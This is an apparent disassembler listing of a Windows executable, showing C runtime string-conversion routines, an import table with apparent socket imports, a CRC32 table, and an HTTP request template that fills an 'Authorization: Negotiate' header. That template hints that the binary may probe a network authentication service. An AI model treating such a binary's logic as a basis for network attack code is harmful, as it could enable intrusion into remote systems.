cmp [ebp+var_1C], esi
jz loc_422B6D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call dword_423150 ; WideCharToMultiByte
test eax, eax
jz loc_422B6D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4231C4 ; LCMapStringA
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_422B6D
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_417830
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422B09
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_422B09: ; CODE XREF: sub_422978+17Dj
cmp ebx, esi
jz short loc_422B6D
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4231C4 ; LCMapStringA
test eax, eax
jz short loc_422B6D
test byte ptr [ebp+arg_4+1], 4
jz short loc_422B47
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_422B69
cmp eax, edi
jl short loc_422B38
mov eax, edi
loc_422B38: ; CODE XREF: sub_422978+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_418910
add esp, 0Ch
jmp short loc_422B69
; ---------------------------------------------------------------------------
loc_422B47: ; CODE XREF: sub_422978+1B1j
cmp [ebp+arg_14], esi
jnz short loc_422B50
push esi
push esi
jmp short loc_422B56
; ---------------------------------------------------------------------------
loc_422B50: ; CODE XREF: sub_422978+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_422B56: ; CODE XREF: sub_422978+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
call dword_423070 ; MultiByteToWideChar
mov edi, eax
cmp edi, esi
jz short loc_422B6D
loc_422B69: ; CODE XREF: sub_422978+1B8j
; sub_422978+1CDj
mov eax, edi
jmp short loc_422B6F
; ---------------------------------------------------------------------------
loc_422B6D: ; CODE XREF: sub_422978+66j
; sub_422978+B5j ...
xor eax, eax
loc_422B6F: ; CODE XREF: sub_422978+ADj
; sub_422978+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422978 endp
; =============== S U B R O U T I N E =======================================
sub_422B81 proc near ; CODE XREF: sub_422978+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_422BA0
loc_422B91: ; CODE XREF: sub_422B81+1Dj
cmp word ptr [eax], 0
jz short loc_422BA0
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_422B91
loc_422BA0: ; CODE XREF: sub_422B81+Ej
; sub_422B81+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_422BAE
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_422BAE: ; CODE XREF: sub_422B81+24j
mov eax, edx
retn
sub_422B81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422BB1 proc near ; CODE XREF: sub_422903+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_422BF1
cmp [ebp+arg_0], 100h
jnb short loc_422BD5
movzx eax, [ebp+arg_0]
mov ecx, off_438A84
mov ax, [ecx+eax*2]
jmp short loc_422BF8
; ---------------------------------------------------------------------------
loc_422BD5: ; CODE XREF: sub_422BB1+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_422C03
add esp, 18h
test eax, eax
jnz short loc_422BF5
loc_422BF1: ; CODE XREF: sub_422BB1+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_422BF5: ; CODE XREF: sub_422BB1+3Ej
mov eax, [ebp+var_4]
loc_422BF8: ; CODE XREF: sub_422BB1+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_422BB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422C03 proc near ; CODE XREF: sub_422BB1+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_423D58
push offset sub_41F4A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4897A0
xor edi, edi
cmp eax, edi
jnz short loc_422C72
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_4238D0
push esi
call dword_423028 ; GetStringTypeW
test eax, eax
jz short loc_422C50
mov eax, esi
jmp short loc_422C6D
; ---------------------------------------------------------------------------
loc_422C50: ; CODE XREF: sub_422C03+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_43BCF8
push esi
push edi
call dword_42302C ; GetStringTypeA
test eax, eax
jz loc_422DB4
push 2
pop eax
loc_422C6D: ; CODE XREF: sub_422C03+4Bj
mov dword_4897A0, eax
loc_422C72: ; CODE XREF: sub_422C03+2Fj
cmp eax, 1
jnz short loc_422C8E
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_423028 ; GetStringTypeW
jmp loc_422DB6
; ---------------------------------------------------------------------------
loc_422C8E: ; CODE XREF: sub_422C03+72j
cmp eax, 2
jnz loc_422DB4
cmp [ebp+arg_10], edi
jnz short loc_422CA4
mov eax, dword_489550
mov [ebp+arg_10], eax
loc_422CA4: ; CODE XREF: sub_422C03+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call dword_423150 ; WideCharToMultiByte
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_422DB4
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_417830
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_417030
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422D02
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_422D02: ; CODE XREF: sub_422C03+EAj
cmp [ebp+var_2C], edi
jz loc_422DB4
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call dword_423150 ; WideCharToMultiByte
test eax, eax
jz loc_422DB4
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_417830
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_422D57
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_422D57: ; CODE XREF: sub_422C03+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_422DB4
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_422D6B
mov eax, dword_489540
loc_422D6B: ; CODE XREF: sub_422C03+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
call dword_42302C ; GetStringTypeA
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_422DB4
cmp word ptr [esi], 0FFFFh
jnz short loc_422DB4
push edi
push ebx
push [ebp+arg_C]
call sub_417FC0
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_422DB6
; ---------------------------------------------------------------------------
loc_422DB4: ; CODE XREF: sub_422C03+61j
; sub_422C03+8Ej ...
xor eax, eax
loc_422DB6: ; CODE XREF: sub_422C03+86j
; sub_422C03+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422C03 endp
; =============== S U B R O U T I N E =======================================
sub_422DC8 proc near ; DATA XREF: .data:00423EE8o
; FUNCTION CHUNK AT 00404413 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_404413
sub_422DC8 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_422DE6
mov ecx, [ebp+8]
jmp loc_404413
; ---------------------------------------------------------------------------
locret_422DE6: ; CODE XREF: .data:00422DD8j
retn
; ---------------------------------------------------------------------------
loc_422DE7: ; DATA XREF: sub_403FF0o
mov eax, offset dword_423EEC
jmp loc_417C4B
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_404413
; ---------------------------------------------------------------------------
loc_422DFC: ; DATA XREF: .data:00423F14o
lea ecx, [ebp-1Ch]
jmp loc_404413
; ---------------------------------------------------------------------------
loc_422E04: ; DATA XREF: sub_40418Fo
mov eax, offset dword_423F18
jmp loc_417C4B
; ---------------------------------------------------------------------------
align 10h
loc_422E10: ; DATA XREF: sub_4046F4o
mov eax, offset dword_423F68
jmp loc_417C4B
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_4228A6
; ---------------------------------------------------------------------------
loc_422E22: ; DATA XREF: sub_4224EEo
mov eax, offset dword_423F8C
jmp loc_417C4B
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_404413
; ---------------------------------------------------------------------------
loc_422E34: ; DATA XREF: sub_422563o
mov eax, offset dword_424024
jmp loc_417C4B
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_4228A6
; ---------------------------------------------------------------------------
loc_422E46: ; DATA XREF: sub_4225C0o
mov eax, offset dword_424048
jmp loc_417C4B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_4228A6
; ---------------------------------------------------------------------------
loc_422E58: ; DATA XREF: sub_422608o
mov eax, offset dword_42406C
jmp loc_417C4B
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_404413
; ---------------------------------------------------------------------------
loc_422E6A: ; DATA XREF: sub_42268Ao
mov eax, offset dword_4240CC
jmp loc_417C4B
; ---------------------------------------------------------------------------
dd 63h dup(0)
dword_423000 dd 77E74D76h ; DATA XREF: sub_40A928+36r
dword_423004 dd 77E6BD68h ; DATA XREF: sub_422197+173r
dword_423008 dd 77E77F2Eh ; DATA XREF: sub_421F1A+3Er
; sub_421F1A+261r
dword_42300C dd 77E762D0h ; DATA XREF: sub_421F1A+5Br
; sub_421F1A+B9r
dword_423010 dd 77E70192h ; DATA XREF: sub_420F21+F9r
dword_423014 dd 77E7176Ch ; DATA XREF: sub_420636+8r
dword_423018 dd 77E7339Ch ; DATA XREF: sub_4205FE+Cr
dword_42301C dd 77E7C9E7h ; DATA XREF: sub_4205E0+5r
; sub_4205F1+6r
dword_423020 dd 77E73FF9h ; DATA XREF: sub_41FB9B+2Cr
dword_423024 dd 77E7FF2Eh ; DATA XREF: sub_41FA6D:loc_41FABDr
; sub_41FAE4:loc_41FB37r
dword_423028 dd 77E7C866h ; DATA XREF: sub_41F88F+3Fr
; sub_41F88F+12Dr ...
dword_42302C dd 77E641EBh ; DATA XREF: sub_41F88F+59r
; sub_41F88F+8Dr ...
dword_423030 dd 77E78406h ; DATA XREF: sub_41F2EA+FFr
; sub_41F2EA+166r ...
dword_423034 dd 77E79C3Dh ; DATA XREF: sub_41F2EA+158r
; sub_41F5B1+143r
dword_423038 dd 77E7C931h ; DATA XREF: sub_41F2EA+19Dr
dword_42303C dd 77E77EE1h ; DATA XREF: sub_41F1B8+9r
dword_423040 dd 77E67702h ; DATA XREF: sub_41F1B8:loc_41F1E7r
; sub_41F1B8+E1r
dword_423044 dd 77E7C9E1h ; DATA XREF: sub_41F1B8+CEr
dword_423048 dd 77E9C5B1h ; DATA XREF: sub_41F1B8+11Fr
dword_42304C dd 77EB9A84h ; DATA XREF: sub_41ECD6+138r
dword_423050 dd 77E6C703h ; DATA XREF: sub_41E7F1+1Ar
dword_423054 dd 77E73C49h ; DATA XREF: sub_401000+AAr
; sub_401444+95r ...
dword_423058 dd 77E7751Ah ; DATA XREF: sub_401000+27r
; sub_401444+1A6r ...
dword_42305C dd 77E802FCh ; DATA XREF: sub_4010B2+18Cr
; sub_4010B2+2D4r ...
dword_423060 dd 77E6D75Bh ; DATA XREF: sub_4010B2+182r
; sub_401A64+FFr
dword_423064 dd 77E61BE6h ; DATA XREF: sub_4018CB+95r
; sub_402394+5Dr ...
dword_423068 dd 77E704FCh ; DATA XREF: sub_4022B5+20r
; sub_40B6ED+183r ...
dword_42306C dd 77E70F89h ; DATA XREF: sub_4022B5+Er
; sub_40BD8D+Dr ...
dword_423070 dd 77E77CCEh ; DATA XREF: sub_4029C8+66r
; sub_402AAB+65r ...
dword_423074 dd 77E78B82h ; DATA XREF: sub_402DB1+135r
; sub_404904+198r ...
dword_423078 dd 77E77963h ; DATA XREF: sub_402DB1+11Dr
; sub_402DB1+150r ...
dword_42307C dd 77E79D8Ch ; DATA XREF: sub_402DB1+100r
; sub_404816+94r ...
dword_423080 dd 77E73EACh ; DATA XREF: sub_402DB1+E6r
dword_423084 dd 77E7A837h ; DATA XREF: sub_402DB1+68r
; sub_404904+A0r ...
dword_423088 dd 77E79D5Bh ; DATA XREF: sub_404904+4ADr
; sub_40E48A+68r ...
dword_42308C dd 77F5157Dh ; DATA XREF: sub_404904+494r
; sub_405F35+26Fr ...
dword_423090 dd 77E737DEh ; DATA XREF: sub_404904+42Br
dword_423094 dd 77E7A099h ; DATA XREF: sub_4058E9+18r
; sub_4070A3+58r ...
dword_423098 dd 77E64106h ; DATA XREF: sub_405DB9+9Fr
; sub_40B6ED+1B6r
dword_42309C dd 77E64006h ; DATA XREF: sub_405DB9+8Br
; sub_40B6ED+19Fr
dword_4230A0 dd 77E7AC37h ; DATA XREF: sub_405F35+24Cr
; sub_4070A3+10Br ...
dword_4230A4 dd 77E793EFh ; DATA XREF: sub_405F35+1EDr
; sub_406865+38r ...
dword_4230A8 dd 77E74CABh ; DATA XREF: sub_405F35+10Fr
; sub_40AA70+10Fr ...
dword_4230AC dd 77E78EAAh ; DATA XREF: sub_4061E4+5EDr
; sub_408D2A+C0r ...
dword_4230B0 dd 77E79424h ; DATA XREF: sub_4061E4+27Ar
; sub_4091D7+135r
dword_4230B4 dd 77E794BFh ; DATA XREF: sub_4061E4+26Cr
; sub_4091D7+123r
dword_4230B8 dd 77E75E67h ; DATA XREF: sub_4061E4+20Cr
; sub_4061E4+5DCr ...
dword_4230BC dd 77E75D9Eh ; DATA XREF: sub_4061E4+1FBr
; sub_408D2A+26r
dword_4230C0 dd 77E78C81h ; DATA XREF: sub_406865+6Cr
; sub_40C330+259r ...
dword_4230C4 dd 77F7E300h ; DATA XREF: sub_4075B8+130r
dword_4230C8 dd 77F7E21Fh ; DATA XREF: sub_4075B8+C5r
dword_4230CC dd 77E7C706h ; DATA XREF: sub_4077CC+77r
dword_4230D0 dd 77F53275h ; DATA XREF: sub_4077CC+6Br
; sub_4077CC+241r
dword_4230D4 dd 77E80618h ; DATA XREF: sub_408E7C+170r
dword_4230D8 dd 77E78147h ; DATA XREF: sub_408E7C+BCr
dword_4230DC dd 77E7A5FDh ; DATA XREF: sub_408E7C+60r
; sub_409658+11r ...
dword_4230E0 dd 77E805D8h ; DATA XREF: sub_408E7C+5Ar
; sub_409658+13Ar ...
dword_4230E4 dd 77F51597h ; DATA XREF: sub_40904E+41r
; sub_40904E+F5r ...
dword_4230E8 dd 77F516F8h ; DATA XREF: sub_40904E+21r
; sub_4091D7+4Ar ...
dword_4230EC dd 77E77CB7h ; DATA XREF: sub_40904E+10r
; sub_4091D7+40r ...
dword_4230F0 dd 77E7F01Ah ; DATA XREF: sub_4091D7+88r
; sub_40937B+53r
dword_4230F4 dd 77E61A54h ; DATA XREF: sub_4091D7+56r
; sub_40937B+95r
dword_4230F8 dd 77E7C3A5h ; DATA XREF: sub_4091D7+34r
; sub_40937B+2Cr
dword_4230FC dd 77E706B7h ; DATA XREF: sub_4091D7+15r
; sub_40937B+10r ...
dword_423100 dd 77E79F93h ; DATA XREF: sub_409658+2r
; sub_40AA70+FBr ...
dword_423104 dd 77E76A60h ; DATA XREF: sub_40A863+2Dr
dword_423108 dd 77E71B14h ; DATA XREF: sub_40A8ED+26r
dword_42310C dd 77E7166Fh ; DATA XREF: sub_40A8ED+1Dr
dword_423110 dd 77E75090h ; DATA XREF: sub_40A928+69r
dword_423114 dd 77E77797h ; DATA XREF: sub_40A928+25r
dword_423118 dd 77E7011Ah ; DATA XREF: sub_40A9AA+96r
dword_42311C dd 77E73CE2h ; DATA XREF: sub_40A9AA+60r
dword_423120 dd 77E61BB8h ; DATA XREF: sub_40AA70+17Er
; sub_40B398+F0r ...
dword_423124 dd 77E668D9h ; DATA XREF: sub_40AA70+15Dr
dword_423128 dd 77E70396h ; DATA XREF: sub_40AA70+126r
; sub_40E48A+1B2r ...
dword_42312C dd 77E6AD34h ; DATA XREF: sub_40AA70+35r
; sub_40EC43+3E2Ar
dword_423130 dd 77E7FF65h ; DATA XREF: sub_40B243+5Ar
dword_423134 dd 77EB7624h ; DATA XREF: sub_40B243+3Dr
dword_423138 dd 77E79CE3h ; DATA XREF: sub_40B398+91r
; sub_416552+77r
dword_42313C dd 77E79C90h ; DATA XREF: sub_40B398+79r
; sub_414EAB+Cr ...
dword_423140 dd 77E7727Ah ; DATA XREF: sub_40B398+38r
; sub_416459+23r
dword_423144 dd 77E7C657h ; DATA XREF: sub_40B5A0+1Dr
; sub_40B6ED+24r ...
dword_423148 dd 77E76C1Ah ; DATA XREF: sub_40B6ED+1CFr
dword_42314C dd 77E75CB5h ; DATA XREF: sub_40C90D+465r
; sub_40D1A2+DFr ...
dword_423150 dd 77E79924h ; DATA XREF: sub_40D9B7+13r
; sub_41E409+20Dr ...
dword_423154 dd 77E65F4Ch ; DATA XREF: sub_40E3CC+34r
; .data:004157D3r
dword_423158 dd 77E73628h ; DATA XREF: sub_40E48A+317r
; sub_40EC43+4AD5r ...
dword_42315C dd 77E80656h ; DATA XREF: sub_40E48A+246r
dword_423160 dd 77E6BD13h ; DATA XREF: sub_40E48A:loc_40E642r
dword_423164 dd 77E7C2C4h ; DATA XREF: sub_40E48A+61r
dword_423168 dd 77E75CEBh ; DATA XREF: sub_40EC43+4D18r
; sub_416304+A3r ...
dword_42316C dd 77E71AFEh ; DATA XREF: sub_40EC43+3C15r
dword_423170 dd 77E616B4h ; DATA XREF: sub_414F16+193r
; sub_4151A1+1Fr ...
dword_423174 dd 77E76968h ; DATA XREF: sub_41547D+5Fr
dword_423178 dd 77E7513Ch ; DATA XREF: .data:00415840r
dword_42317C dd 77E6C29Dh ; DATA XREF: sub_415FE8+1F0r
dword_423180 dd 77E74C59h ; DATA XREF: sub_416304+CBr
dword_423184 dd 77EC7C51h ; DATA XREF: sub_4166C9+4Br
dword_423188 dd 77F6183Eh ; DATA XREF: sub_42274Cr
dword_42318C dd 77E76E3Dh ; DATA XREF: sub_4183B1+6Cr
; sub_42067A+38r
dword_423190 dd 77E61608h ; DATA XREF: sub_4183B1+17r
dword_423194 dd 77F5722Fh ; DATA XREF: sub_41914F+110r
; sub_41914F+22Dr ...
dword_423198 dd 77E6177Ah ; DATA XREF: sub_4198E4+9Fr
; sub_41F2EA+59r
dword_42319C dd 77E7C938h ; DATA XREF: sub_4198E4+74r
dword_4231A0 dd 77E7C486h ; DATA XREF: sub_4198E4+26r
dword_4231A4 dd 77E7AC5Eh ; DATA XREF: sub_41A89C+54r
dword_4231A8 dd 77E76E0Bh ; DATA XREF: sub_41A9E4+50r
dword_4231AC dd 77E7C726h ; DATA XREF: sub_41A9E4+11r
dword_4231B0 dd 77E79E34h ; DATA XREF: sub_41AAB4+240r
; sub_41B588+120r ...
dword_4231B4 dd 77E7980Ah ; DATA XREF: sub_41B0E6+76r
; sub_41B197+51r ...
dword_4231B8 dd 77E73196h ; DATA XREF: sub_42061A+Cr
dword_4231BC dd 77E6D706h ; DATA XREF: sub_41BD40+215r
; sub_4228C9+2Er
dword_4231C0 dd 77F522F2h ; DATA XREF: sub_41D2A8+58r
dword_4231C4 dd 77E77405h ; DATA XREF: sub_41E409+5Er
; sub_41E409+A7r ...
dword_4231C8 dd 77E781F9h ; DATA XREF: sub_41E409+42r
; sub_41E409+14Dr ...
dword_4231CC dd 77E7849Fh ; DATA XREF: sub_41E658+48r
; sub_41E897+14r ...
dword_4231D0 dd 77E7A13Fh ; DATA XREF: sub_41E7F1+2Fr
align 8
dword_4231D8 dd 71B2ACCBh ; DATA XREF: sub_422740r
align 10h
dword_4231E0 dd 71AB41DAh ; DATA XREF: sub_405285+47r
; sub_40586C+15r
dword_4231E4 dd 71AB3F8Dh ; DATA XREF: sub_405285+8Dr
dword_4231E8 dd 71AB3ECEh ; DATA XREF: sub_405285+C4r
dword_4231EC dd 71AB5DE2h ; DATA XREF: sub_405285+D8r
dword_4231F0 dd 71AB868Dh ; DATA XREF: sub_405285+17Er
dword_4231F4 dd 71AB8629h ; DATA XREF: .data:00405271r
dword_4231F8 dd 71AB2BBFh ; DATA XREF: .data:00405142r
dword_4231FC dd 71AB12F8h ; DATA XREF: sub_404DFA+27r
; .data:00405152r ...
dword_423200 dd 71AB1836h ; DATA XREF: sub_40586C+6Er
; sub_4058E9+8Er
dword_423204 dd 71AB5690h ; DATA XREF: sub_404DFA+6Ar
; sub_405285+1E0r
dword_423208 dd 71AB1AF4h ; DATA XREF: sub_403F52+12r
; sub_404DFA+C3r ...
dword_42320C dd 71AB1890h ; DATA XREF: sub_403DAF+4Cr
; sub_405285+115r
dword_423210 dd 71AB1B7Bh ; DATA XREF: sub_422746r
dword_423214 dd 71AB3C22h ; DATA XREF: sub_4018CB+52r
; .data:004042F7r ...
dword_423218 dd 71AB155Ah ; DATA XREF: sub_4018CB+6Er
; sub_405285+9Dr
dword_42321C dd 71AB3E5Dh ; DATA XREF: sub_4018CB+88r
; sub_404DFA+59r ...
dword_423220 dd 71AB1A6Dh ; DATA XREF: sub_4018CB+A4r
; sub_404DFA+E0r ...
dword_423224 dd 71AB1746h ; DATA XREF: sub_404DFA+36r
; .data:004051A8r ...
align 10h
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40418F+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_423270 dq 1.388888888888889e-2 ; DATA XREF: sub_403FA4+2Fr
dbl_423278 dq 1.666666666666667e-1 ; DATA XREF: sub_403FA4+15r
dbl_423280 dq 1.333333333333333 ; DATA XREF: sub_403FF0+7Ar
dword_423288 dd 0 ; DATA XREF: sub_40418F+4Do
; sub_4044CD+57o ...
flt_42328C dd 5.0e-1 ; DATA XREF: sub_404904+38Cr
dword_423290 dd 0 ; DATA XREF: sub_40C040+24r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_423690 dq 9.765625e-4 ; DATA XREF: sub_40C90D+2B8r
; sub_40C90D+2CDr ...
dbl_423698 dq -3.0517578125e-5 ; DATA XREF: sub_4151D8+1Er
dbl_4236A0 dq 1.0 ; DATA XREF: sub_4179A4+6Cr
; sub_417AEB+6Cr ...
dword_4236A8 dd 0FFFFFFFFh, 4199BBh, 4199CFh ; DATA XREF: sub_4198E4+5o
byte_4236B4 db 6 ; DATA XREF: sub_419B38:loc_419B8Fr
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: .data:off_438A7Co
